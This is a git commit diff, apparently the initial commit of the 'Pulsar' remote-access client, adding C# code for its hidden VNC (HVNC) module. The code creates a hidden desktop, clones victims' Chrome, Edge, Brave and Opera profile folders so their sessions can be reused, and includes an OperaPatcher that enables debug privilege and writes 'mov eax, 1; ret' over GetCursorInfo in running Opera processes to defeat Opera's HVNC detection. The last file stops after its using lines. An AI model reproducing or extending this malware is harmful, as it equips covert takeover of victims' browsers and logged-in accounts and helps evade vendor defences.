initial commit
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run

This commit is contained in:
i2p
2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
@@ -0,0 +1,65 @@
using System;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Represents the progress state while cloning a browser profile directory.
/// </summary>
internal readonly struct BrowserCloneProgress
{
public BrowserCloneProgress(int filesCopied, int totalFiles, string currentItem, bool isIndeterminate = false)
{
FilesCopied = filesCopied;
TotalFiles = totalFiles;
CurrentItem = currentItem ?? string.Empty;
IsIndeterminate = isIndeterminate;
}
/// <summary>
/// Gets the number of files copied so far.
/// </summary>
public int FilesCopied { get; }
/// <summary>
/// Gets the total number of files scheduled for cloning.
/// </summary>
public int TotalFiles { get; }
/// <summary>
/// Gets the relative path of the item currently being cloned.
/// </summary>
public string CurrentItem { get; }
/// <summary>
/// Indicates whether the operation is currently in an indeterminate state.
/// </summary>
public bool IsIndeterminate { get; }
/// <summary>
/// Gets the progress percentage (0-100) when the total file count is known.
/// </summary>
public int Percent
{
get
{
if (TotalFiles <= 0)
{
return 0;
}
double raw = (double)FilesCopied / TotalFiles * 100d;
if (raw < 0d)
{
return 0;
}
if (raw > 100d)
{
return 100;
}
return (int)Math.Round(raw);
}
}
}
}
@@ -0,0 +1,262 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Manages the small progress form shown when cloning browser profiles so users can observe the operation.
/// </summary>
internal sealed class BrowserCloneProgressSession : IDisposable
{
private const string HvncDesktopName = "PulsarDesktop";
private readonly CloneProgressForm _form;
private readonly Progress<BrowserCloneProgress> _progress;
private readonly CancellationTokenSource _cts;
private readonly EventHandler _cancelHandler;
private bool _completed;
private bool _disposed;
private BrowserCloneProgressSession(CloneProgressForm form)
{
_form = form;
_cts = new CancellationTokenSource();
_cancelHandler = (sender, args) => RequestCancel();
_form.UserRequestedCancel += _cancelHandler;
_progress = new Progress<BrowserCloneProgress>(state =>
{
if (!_form.IsDisposed)
{
_form.UpdateProgress(state);
}
});
}
/// <summary>
/// Gets a progress reporter that can be used from background threads.
/// </summary>
public IProgress<BrowserCloneProgress> Progress => _progress;
/// <summary>
/// Gets a token that is cancelled when the user closes the progress UI.
/// </summary>
public CancellationToken CancellationToken => _cts.Token;
public void ReportPreparing()
{
InvokeOnUi(() => _form.ShowPreparing());
}
public Task ReportCompletionAsync(bool wasSuccessful)
{
if (_completed)
{
return Task.CompletedTask;
}
_completed = true;
if (_form.IsDisposed)
{
return Task.CompletedTask;
}
var completionSource = new TaskCompletionSource<object>(TaskCreationOptions.RunContinuationsAsynchronously);
InvokeOnUi(() => _form.BeginCompleteAnimation(wasSuccessful, () => completionSource.TrySetResult(null)));
return completionSource.Task;
}
public static Task<BrowserCloneProgressSession> TryCreateAsync(string browserName)
{
var completion = new TaskCompletionSource<BrowserCloneProgressSession>(TaskCreationOptions.RunContinuationsAsynchronously);
var uiThread = new Thread(() =>
{
IntPtr desktopHandle = IntPtr.Zero;
BrowserCloneProgressSession session = null;
try
{
desktopHandle = DesktopInterop.OpenOrCreate(HvncDesktopName, out int openError);
if (desktopHandle == IntPtr.Zero)
{
Debug.WriteLine($"[BrowserCloneProgressSession] Failed to open or create desktop '{HvncDesktopName}'. Win32 error: {openError}");
completion.TrySetResult(null);
return;
}
if (!DesktopInterop.TrySetThreadDesktop(desktopHandle))
{
int threadError = Marshal.GetLastWin32Error();
Debug.WriteLine($"[BrowserCloneProgressSession] SetThreadDesktop failed with error {threadError} for desktop '{HvncDesktopName}'.");
completion.TrySetResult(null);
return;
}
var form = new CloneProgressForm();
form.Initialize(browserName);
void HandleCreated(object sender, EventArgs args)
{
form.HandleCreated -= HandleCreated;
try
{
session = new BrowserCloneProgressSession(form);
completion.TrySetResult(session);
}
catch (Exception ex)
{
Debug.WriteLine($"[BrowserCloneProgressSession] Failed to initialize progress session: {ex.Message}");
completion.TrySetResult(null);
form.BeginInvoke(new Action(form.Close));
}
}
form.HandleCreated += HandleCreated;
form.FormClosed += (_, __) => Application.ExitThread();
Application.Run(form);
if (!completion.Task.IsCompleted)
{
completion.TrySetResult(session);
}
}
catch (Exception ex)
{
Debug.WriteLine($"[BrowserCloneProgressSession] Exception while creating progress UI: {ex.Message}");
completion.TrySetResult(null);
}
finally
{
DesktopInterop.Release(desktopHandle);
}
})
{
IsBackground = true,
Name = "Pulsar HVNC Progress UI"
};
uiThread.SetApartmentState(ApartmentState.STA);
uiThread.Start();
return completion.Task;
}
public void Dispose()
{
if (_disposed)
{
return;
}
_disposed = true;
_form.UserRequestedCancel -= _cancelHandler;
InvokeOnUi(() =>
{
if (!_form.IsDisposed)
{
_form.Close();
_form.Dispose();
}
});
_cts.Dispose();
}
private void RequestCancel()
{
if (_disposed)
{
return;
}
if (!_cts.IsCancellationRequested)
{
_cts.Cancel();
}
}
private void InvokeOnUi(Action action)
{
if (_form.IsDisposed)
{
return;
}
if (_form.InvokeRequired)
{
try
{
_form.BeginInvoke(action);
}
catch (ObjectDisposedException)
{
// ignored
}
}
else
{
action();
}
}
private static class DesktopInterop
{
private const uint DesktopAccessMask = 0x000001FF;
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CloseDesktop(IntPtr hDesktop);
public static IntPtr OpenOrCreate(string desktopName, out int lastError)
{
lastError = 0;
IntPtr handle = OpenDesktop(desktopName, 0, true, DesktopAccessMask);
if (handle != IntPtr.Zero)
{
return handle;
}
lastError = Marshal.GetLastWin32Error();
handle = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, DesktopAccessMask, IntPtr.Zero);
if (handle == IntPtr.Zero)
{
lastError = Marshal.GetLastWin32Error();
}
return handle;
}
public static bool TrySetThreadDesktop(IntPtr handle)
{
return handle != IntPtr.Zero && SetThreadDesktop(handle);
}
public static void Release(IntPtr handle)
{
if (handle != IntPtr.Zero)
{
CloseDesktop(handle);
}
}
}
}
}
@@ -0,0 +1,146 @@
using System;
using System.Collections.Generic;
using System.IO;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Configuration for browser injection including paths and parameters
/// </summary>
public class BrowserConfig
{
public string ExecutablePath { get; set; }
public string SearchPattern { get; set; }
public string ReplacementPath { get; set; }
}
/// <summary>
/// Manages browser configurations for HVNC injection
/// </summary>
public static class BrowserConfiguration
{
private static readonly Dictionary<string, BrowserConfig> BrowserConfigs = new Dictionary<string, BrowserConfig>(StringComparer.OrdinalIgnoreCase)
{
{
"Chrome", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES"), "Google\\Chrome\\Application\\chrome.exe"),
SearchPattern = "Local\\Google\\Chrome\\User Data",
ReplacementPath = "Local\\Google\\Chrome\\KDOT"
}
},
{
"ChromeX86", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES(X86)"), "Google\\Chrome\\Application\\chrome.exe"),
SearchPattern = "Local\\Google\\Chrome\\User Data",
ReplacementPath = "Local\\Google\\Chrome\\KDOT"
}
},
{
"Edge", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES(X86)"), "Microsoft\\Edge\\Application\\msedge.exe"),
SearchPattern = "Local\\Microsoft\\Edge\\User Data",
ReplacementPath = "Local\\Microsoft\\Edge\\KDOT"
}
},
{
"Brave", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES"), "BraveSoftware\\Brave-Browser\\Application\\brave.exe"),
SearchPattern = "Local\\BraveSoftware\\Brave-Browser\\User Data",
ReplacementPath = "Local\\BraveSoftware\\Brave-Browser\\KDOT"
}
},
{
"Opera", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "Programs\\Opera\\opera.exe"),
SearchPattern = "Roaming\\Opera Software\\Opera Stable",
ReplacementPath = "Roaming\\Opera Software\\KDOT"
}
},
{
"OperaGX", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "Programs\\Opera GX\\opera.exe"),
SearchPattern = "Roaming\\Opera Software\\Opera GX Stable",
ReplacementPath = "Roaming\\Opera Software\\KDOT"
}
}
};
/// <summary>
/// Gets the browser configuration for the specified browser type
/// </summary>
/// <param name="browserType">Type of browser (Chrome, Edge, Brave, etc.)</param>
/// <returns>Browser configuration or null if not found</returns>
public static BrowserConfig GetConfig(string browserType)
{
if (string.IsNullOrWhiteSpace(browserType))
return null;
if (BrowserConfigs.TryGetValue(browserType, out var config))
{
return config;
}
return null;
}
/// <summary>
/// Gets the first valid Chrome configuration (checks both64-bit and32-bit)
/// </summary>
/// <returns>Valid Chrome configuration or null if Chrome is not installed</returns>
public static BrowserConfig GetChromeConfig()
{
var chromeConfig = GetConfig("Chrome");
if (chromeConfig != null)
{
try
{
if (!string.IsNullOrEmpty(chromeConfig.ExecutablePath) && File.Exists(chromeConfig.ExecutablePath))
{
return chromeConfig;
}
}
catch
{
// ignore and continue
}
}
var chromeX86 = GetConfig("ChromeX86");
if (chromeX86 != null)
{
try
{
if (!string.IsNullOrEmpty(chromeX86.ExecutablePath) && File.Exists(chromeX86.ExecutablePath))
{
return chromeX86;
}
}
catch
{
// ignore
}
}
return null;
}
/// <summary>
/// Validates if the browser executable exists
/// </summary>
/// <param name="config">Browser configuration to validate</param>
/// <returns>True if executable exists, false otherwise</returns>
public static bool ValidateConfig(BrowserConfig config)
{
if (config == null)
return false;
return File.Exists(config.ExecutablePath);
}
}
}
@@ -0,0 +1,453 @@
using System;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace Pulsar.Client.Helper.HVNC.Chromium
{
/// <summary>
/// Opera memory patcher that patches GetCursorInfo function to always return success
/// This prevents Opera from detecting HVNC environments by bypassing cursor detection
///
/// Usage:
/// - Automatic: The patcher is automatically called when using ProcessController.StartOpera() or StartOperaGX()
/// - Manual: Call OperaPatcher.PatchOperaProcesses() to patch all running Opera processes
/// - Async: Use OperaPatcher.PatchOperaAsync() for non-blocking patching with retry logic
///
/// How it works:
/// 1. Finds all running Opera processes with main windows
/// 2. Locates the GetCursorInfo function in user32.dll within each process
/// 3. Patches the function to return 1 (success) immediately using assembly: mov eax, 1; ret
/// 4. This bypasses Opera's cursor detection used to identify HVNC environments
///
/// The patch is applied in memory and does not modify files on disk.
/// </summary>
public class OperaPatcher
{
#region Win32 API Imports
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, ref int lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint dwSize, out int lpNumberOfBytesRead);
[DllImport("psapi.dll", SetLastError = true)]
private static extern bool EnumProcessModules(
IntPtr hProcess,
[Out] IntPtr[] lphModule,
int cb,
out int lpcbNeeded);
[DllImport("psapi.dll")]
private static extern uint GetModuleFileNameEx(
IntPtr hProcess,
IntPtr hModule,
[Out] StringBuilder lpBaseName,
int nSize);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
#endregion Win32 API Imports
#region Structs and Constants
[StructLayout(LayoutKind.Sequential)]
private struct LUID
{
public uint LowPart;
public int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
private struct TOKEN_PRIVILEGES
{
public uint PrivilegeCount;
public LUID Luid;
public uint Attributes;
}
private const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
private const uint TOKEN_QUERY = 0x0008;
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
private const uint PROCESS_ALL_ACCESS = 0x001F0FFF;
private const uint PAGE_EXECUTE_READWRITE = 0x40;
#endregion Structs and Constants
/// <summary>
/// Patches Opera processes to bypass HVNC detection
/// </summary>
/// <returns>True if at least one Opera process was successfully patched</returns>
public static bool PatchOperaProcesses()
{
bool anyPatched = false;
try
{
// Find all Opera processes
Process[] operaProcesses = Process.GetProcessesByName("opera")
.Where(p => p.MainWindowHandle != IntPtr.Zero)
.ToArray();
if (operaProcesses.Length == 0)
{
Debug.WriteLine("No Opera processes found with main window");
return false;
}
foreach (var process in operaProcesses)
{
try
{
Debug.WriteLine($"Attempting to patch Opera process PID: {process.Id}");
if (EnableDebugPrivilege(process.Id))
{
Debug.WriteLine("Debug privilege enabled successfully");
}
else
{
Debug.WriteLine("Failed to enable debug privilege, continuing anyway");
}
if (PatchOperaProcess(process.Id))
{
Debug.WriteLine($"Successfully patched Opera PID: {process.Id}");
anyPatched = true;
}
else
{
Debug.WriteLine($"Failed to patch Opera PID: {process.Id}");
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error patching Opera process {process.Id}: {ex.Message}");
}
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error in PatchOperaProcesses: {ex.Message}");
}
return anyPatched;
}
/// <summary>
/// Patches a specific Opera process by PID
/// </summary>
/// <param name="pid">Process ID of the Opera process to patch</param>
/// <returns>True if the process was successfully patched</returns>
public static bool PatchOperaProcess(int pid)
{
try
{
IntPtr addr = RemoteGetProcAddress(pid, "user32.dll", "GetCursorInfo");
if (addr == IntPtr.Zero)
{
Debug.WriteLine("Failed to find GetCursorInfo function address");
return false;
}
Debug.WriteLine($"GetCursorInfo address: 0x{addr.ToInt64():X}");
// Assembly: mov eax, 1; ret (returns 1/TRUE for success)
byte[] patchBytes = new byte[] { 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 };
IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)pid);
if (handle == IntPtr.Zero)
{
Debug.WriteLine($"Failed to open process. Error: {GetLastError()}");
return false;
}
try
{
uint oldProtect = 0;
if (!VirtualProtectEx(handle, addr, (uint)patchBytes.Length, PAGE_EXECUTE_READWRITE, out oldProtect))
{
Debug.WriteLine($"Failed to change memory protection. Error: {GetLastError()}");
return false;
}
int bytesWritten = 0;
if (!WriteProcessMemory(handle, addr, patchBytes, patchBytes.Length, ref bytesWritten))
{
Debug.WriteLine($"Failed to write to process memory. Error: {GetLastError()}");
return false;
}
Debug.WriteLine($"Successfully wrote {bytesWritten} bytes");
byte[] verifyBuffer = new byte[patchBytes.Length];
int bytesRead = 0;
if (ReadProcessMemory(handle, addr, verifyBuffer, (uint)verifyBuffer.Length, out bytesRead))
{
bool patchVerified = bytesRead == patchBytes.Length;
for (int i = 0; i < bytesRead && patchVerified; i++)
{
if (verifyBuffer[i] != patchBytes[i])
{
patchVerified = false;
}
}
if (patchVerified)
{
Debug.WriteLine("Patch verified successfully");
}
else
{
Debug.WriteLine("Patch verification failed");
}
}
uint dummy;
VirtualProtectEx(handle, addr, (uint)patchBytes.Length, oldProtect, out dummy);
return bytesWritten == patchBytes.Length;
}
finally
{
CloseHandle(handle);
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error in PatchOperaProcess: {ex.Message}");
return false;
}
}
/// <summary>
/// Gets the remote address of a function in another process
/// </summary>
private static IntPtr RemoteGetProcAddress(int processId, string dllName, string functionName)
{
IntPtr processHandle = IntPtr.Zero;
try
{
processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)processId);
if (processHandle == IntPtr.Zero)
{
Debug.WriteLine($"Failed to open process with ID {processId}. Error code: {GetLastError()}");
return IntPtr.Zero;
}
IntPtr localModuleHandle = LoadLibrary(dllName);
if (localModuleHandle == IntPtr.Zero)
{
Debug.WriteLine($"Failed to load local module '{dllName}'. Error code: {GetLastError()}");
return IntPtr.Zero;
}
IntPtr localFunctionAddress = GetProcAddress(localModuleHandle, functionName);
if (localFunctionAddress == IntPtr.Zero)
{
Debug.WriteLine($"Function '{functionName}' not found in '{dllName}'. Error code: {GetLastError()}");
return IntPtr.Zero;
}
long offset = localFunctionAddress.ToInt64() - localModuleHandle.ToInt64();
Debug.WriteLine($"Function offset: 0x{offset:X}");
IntPtr remoteModuleBase = GetRemoteModuleHandle(processHandle, dllName);
if (remoteModuleBase == IntPtr.Zero)
{
Debug.WriteLine($"Module '{dllName}' not found in process {processId}");
return IntPtr.Zero;
}
IntPtr remoteFunctionAddress = new IntPtr(remoteModuleBase.ToInt64() + offset);
Debug.WriteLine($"Remote function address: 0x{remoteFunctionAddress.ToInt64():X}");
return remoteFunctionAddress;
}
catch (Exception ex)
{
Debug.WriteLine($"Error in RemoteGetProcAddress: {ex.Message}");
return IntPtr.Zero;
}
finally
{
if (processHandle != IntPtr.Zero)
{
CloseHandle(processHandle);
}
}
}
/// <summary>
/// Gets the base address of a module in a remote process
/// </summary>
private static IntPtr GetRemoteModuleHandle(IntPtr processHandle, string moduleName)
{
try
{
IntPtr[] moduleHandles = new IntPtr[1024];
int bytesNeeded;
if (!EnumProcessModules(processHandle, moduleHandles, Marshal.SizeOf(typeof(IntPtr)) * moduleHandles.Length, out bytesNeeded))
{
Debug.WriteLine($"Failed to enumerate modules. Error code: {GetLastError()}");
return IntPtr.Zero;
}
int moduleCount = bytesNeeded / Marshal.SizeOf(typeof(IntPtr));
StringBuilder moduleNameBuffer = new StringBuilder(256);
string targetName = moduleName.ToLower();
for (int i = 0; i < moduleCount; i++)
{
GetModuleFileNameEx(processHandle, moduleHandles[i], moduleNameBuffer, moduleNameBuffer.Capacity);
string currentModuleName = moduleNameBuffer.ToString();
string fileName = System.IO.Path.GetFileName(currentModuleName).ToLower();
if (fileName == targetName || fileName == targetName + ".dll")
{
return moduleHandles[i];
}
}
return IntPtr.Zero;
}
catch (Exception ex)
{
Debug.WriteLine($"Error in GetRemoteModuleHandle: {ex.Message}");
return IntPtr.Zero;
}
}
/// <summary>
/// Enables debug privilege for the specified process
/// </summary>
private static bool EnableDebugPrivilege(int processId)
{
IntPtr processHandle = IntPtr.Zero;
IntPtr tokenHandle = IntPtr.Zero;
try
{
processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)processId);
if (processHandle == IntPtr.Zero)
{
Debug.WriteLine("Failed to open process for debug privilege");
return false;
}
if (!OpenProcessToken(processHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out tokenHandle))
{
Debug.WriteLine("Failed to open process token");
return false;
}
LUID luid;
if (!LookupPrivilegeValue(null, "SeDebugPrivilege", out luid))
{
Debug.WriteLine("Failed to lookup privilege value");
return false;
}
TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES
{
PrivilegeCount = 1,
Luid = luid,
Attributes = SE_PRIVILEGE_ENABLED
};
if (!AdjustTokenPrivileges(tokenHandle, false, ref tokenPrivileges, 0, IntPtr.Zero, IntPtr.Zero))
{
Debug.WriteLine("Failed to adjust token privileges");
return false;
}
return true;
}
catch (Exception ex)
{
Debug.WriteLine($"Error in EnableDebugPrivilege: {ex.Message}");
return false;
}
finally
{
if (tokenHandle != IntPtr.Zero)
CloseHandle(tokenHandle);
if (processHandle != IntPtr.Zero)
CloseHandle(processHandle);
}
}
/// <summary>
/// Asynchronously patches Opera processes with retry logic
/// </summary>
/// <param name="maxRetries">Maximum number of retry attempts</param>
/// <param name="delayBetweenRetries">Delay between retry attempts in milliseconds</param>
/// <returns>Task that completes when patching is done</returns>
public static async Task PatchOperaAsync(int maxRetries = 5, int delayBetweenRetries = 2000)
{
await Task.Run(async () =>
{
for (int attempt = 0; attempt < maxRetries; attempt++)
{
try
{
if (PatchOperaProcesses())
{
Debug.WriteLine("Opera patching completed successfully");
return;
}
if (attempt < maxRetries - 1)
{
Debug.WriteLine($"Opera patching attempt {attempt + 1} failed, retrying in {delayBetweenRetries}ms");
await Task.Delay(delayBetweenRetries);
}
}
catch (Exception ex)
{
Debug.WriteLine($"Opera patching attempt {attempt + 1} failed with exception: {ex.Message}");
if (attempt < maxRetries - 1)
{
await Task.Delay(delayBetweenRetries);
}
}
}
Debug.WriteLine("All Opera patching attempts failed");
});
}
}
}
+114
View File
@@ -0,0 +1,114 @@
namespace Pulsar.Client.Helper.HVNC
{
partial class CloneProgressForm
{
private System.ComponentModel.IContainer components = null;
private System.Windows.Forms.Label lblTitle;
private System.Windows.Forms.Label lblDetail;
private System.Windows.Forms.ProgressBar progressBar;
private System.Windows.Forms.Button btnCancel;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.lblTitle = new System.Windows.Forms.Label();
this.lblDetail = new System.Windows.Forms.Label();
this.progressBar = new System.Windows.Forms.ProgressBar();
this.btnCancel = new System.Windows.Forms.Button();
this.SuspendLayout();
//
// lblTitle
//
this.lblTitle.AutoSize = false;
this.lblTitle.Dock = System.Windows.Forms.DockStyle.Top;
this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point);
this.lblTitle.Location = new System.Drawing.Point(10, 10);
this.lblTitle.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.lblTitle.Name = "lblTitle";
this.lblTitle.Size = new System.Drawing.Size(280, 20);
this.lblTitle.TabIndex = 0;
this.lblTitle.Text = "Cloning browser profile...";
this.lblTitle.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// lblDetail
//
this.lblDetail.AutoEllipsis = true;
this.lblDetail.Dock = System.Windows.Forms.DockStyle.Top;
this.lblDetail.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point);
this.lblDetail.Location = new System.Drawing.Point(10, 30);
this.lblDetail.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.lblDetail.Name = "lblDetail";
this.lblDetail.Size = new System.Drawing.Size(280, 17);
this.lblDetail.TabIndex = 1;
this.lblDetail.Text = "Preparing...";
this.lblDetail.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// progressBar
//
this.progressBar.Dock = System.Windows.Forms.DockStyle.Top;
this.progressBar.Location = new System.Drawing.Point(10, 50);
this.progressBar.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
this.progressBar.Name = "progressBar";
this.progressBar.Size = new System.Drawing.Size(280, 15);
this.progressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee;
this.progressBar.TabIndex = 2;
//
// btnCancel
//
this.btnCancel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
this.btnCancel.FlatStyle = System.Windows.Forms.FlatStyle.System;
this.btnCancel.Location = new System.Drawing.Point(215, 73);
this.btnCancel.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
this.btnCancel.Name = "btnCancel";
this.btnCancel.Size = new System.Drawing.Size(75, 23);
this.btnCancel.TabIndex = 3;
this.btnCancel.Text = "Cancel";
this.btnCancel.UseVisualStyleBackColor = true;
this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click);
//
// CloneProgressForm
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 15F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.FromArgb(32, 32, 32);
this.ClientSize = new System.Drawing.Size(300, 110);
this.Controls.Add(this.progressBar);
this.Controls.Add(this.btnCancel);
this.Controls.Add(this.lblDetail);
this.Controls.Add(this.lblTitle);
this.DoubleBuffered = true;
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point);
this.ForeColor = System.Drawing.Color.Gainsboro;
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
this.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "CloneProgressForm";
this.Padding = new System.Windows.Forms.Padding(10);
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Profile cloning";
this.TopMost = true;
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.CloneProgressForm_FormClosing);
this.ResumeLayout(false);
}
#endregion
}
}
@@ -0,0 +1,142 @@
using System;
using System.Windows.Forms;
namespace Pulsar.Client.Helper.HVNC
{
internal partial class CloneProgressForm : Form
{
private const int CloseDelayMilliseconds = 450;
private bool _isCompleting;
private bool _cancelRaised;
public CloneProgressForm()
{
InitializeComponent();
}
public event EventHandler UserRequestedCancel;
public void Initialize(string browserName)
{
lblTitle.Text = string.IsNullOrWhiteSpace(browserName)
? "Cloning browser profile..."
: $"Cloning {browserName} profile...";
lblDetail.Text = "Preparing...";
progressBar.Style = ProgressBarStyle.Marquee;
}
public void ShowPreparing()
{
progressBar.Style = ProgressBarStyle.Marquee;
lblDetail.Text = "Preparing...";
}
public void UpdateProgress(BrowserCloneProgress progress)
{
if (IsDisposed)
{
return;
}
if (progress.IsIndeterminate || progress.TotalFiles <= 0)
{
progressBar.Style = ProgressBarStyle.Marquee;
lblDetail.Text = "Preparing...";
return;
}
if (progressBar.Style != ProgressBarStyle.Continuous)
{
progressBar.Style = ProgressBarStyle.Continuous;
}
int maximum = Math.Max(1, progress.TotalFiles);
if (progressBar.Maximum != maximum)
{
progressBar.Maximum = maximum;
}
int value = Math.Min(progress.FilesCopied, progressBar.Maximum);
progressBar.Value = Math.Max(0, value);
string currentFile = progress.CurrentItem;
if (!string.IsNullOrEmpty(currentFile) && currentFile.Length > 50)
{
currentFile = "..." + currentFile.Substring(currentFile.Length - 50);
}
lblDetail.Text = string.IsNullOrEmpty(currentFile)
? $"Cloned {progress.FilesCopied} of {progress.TotalFiles} files"
: $"{progress.FilesCopied}/{progress.TotalFiles}: {currentFile}";
}
public void BeginCompleteAnimation(bool wasSuccessful, Action onClosed)
{
_isCompleting = true;
btnCancel.Enabled = false;
if (IsDisposed)
{
onClosed?.Invoke();
return;
}
progressBar.Style = ProgressBarStyle.Continuous;
progressBar.Maximum = 100;
progressBar.Value = 100;
lblDetail.Text = wasSuccessful ? "Profile cloned successfully" : "Profile clone failed";
var closeTimer = new Timer
{
Interval = CloseDelayMilliseconds
};
closeTimer.Tick += (sender, args) =>
{
closeTimer.Stop();
closeTimer.Dispose();
onClosed?.Invoke();
if (!IsDisposed)
{
Close();
}
};
closeTimer.Start();
}
private void btnCancel_Click(object sender, EventArgs e)
{
RaiseCancelRequested();
if (!IsDisposed)
{
Close();
}
}
private void CloneProgressForm_FormClosing(object sender, FormClosingEventArgs e)
{
if (_isCompleting)
{
return;
}
if (e.CloseReason == CloseReason.UserClosing || e.CloseReason == CloseReason.TaskManagerClosing)
{
RaiseCancelRequested();
}
}
private void RaiseCancelRequested()
{
if (_cancelRaised)
{
return;
}
_cancelRaised = true;
UserRequestedCancel?.Invoke(this, EventArgs.Empty);
}
}
}
@@ -0,0 +1,15 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
+695
View File
@@ -0,0 +1,695 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Linq;
using System.Threading;
using Pulsar.Client.Recovery.Utilities.Xeno;
